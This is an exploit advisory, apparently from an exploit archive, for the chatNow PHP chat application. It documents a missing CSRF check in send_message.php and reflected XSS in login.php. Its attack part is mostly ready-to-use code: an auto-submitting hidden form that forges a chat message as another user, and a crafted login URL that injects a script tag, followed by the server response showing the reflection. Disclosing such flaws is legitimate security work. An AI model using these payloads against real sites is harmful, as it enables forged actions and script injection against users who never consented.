chatNow – Multiple Vulnerabilities
# Exploit Title: chatNow - Multiple Vulnerabilities # Date: 2016-08-23 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: http://chatnow.thiagosf.net/ # Software Link: https://github.com/thiagosf/chatNow/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] 1. CSRF(Send MSG) 2. Reflected XSS ========== CSRF VULNERABILITY ### Vulnerability 'send_message.php' is not check the csrf token or referer header. It is possible CSRF Attack. ### Attack Code <form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST"> <input type="hidden" name="to_user" value="0"> <input type="hidden" name="scroll_page" value="on"> <input type="hidden" name="id_user" value="2"> <input type="hidden" name="message" value="CSRF"> <input type="hidden" name="reserved" value="false"> <input type="submit" value="Attack!"> </form> <script type="text/javascript">document.forms.csrf_poc.submit();</script> ========== XSS VULNERABILITY ### Vulnerability This page url is reflected data on page It is vulnerable page because not filtered reflected url ### Attack code http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1 ### Response <div id="box_login"> <h2>chatNow</h2> <form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post"> <div class="block_field"> <label for="user">Nick</label> <input type="text" name="user" id="user" maxlength="20" /> </div> |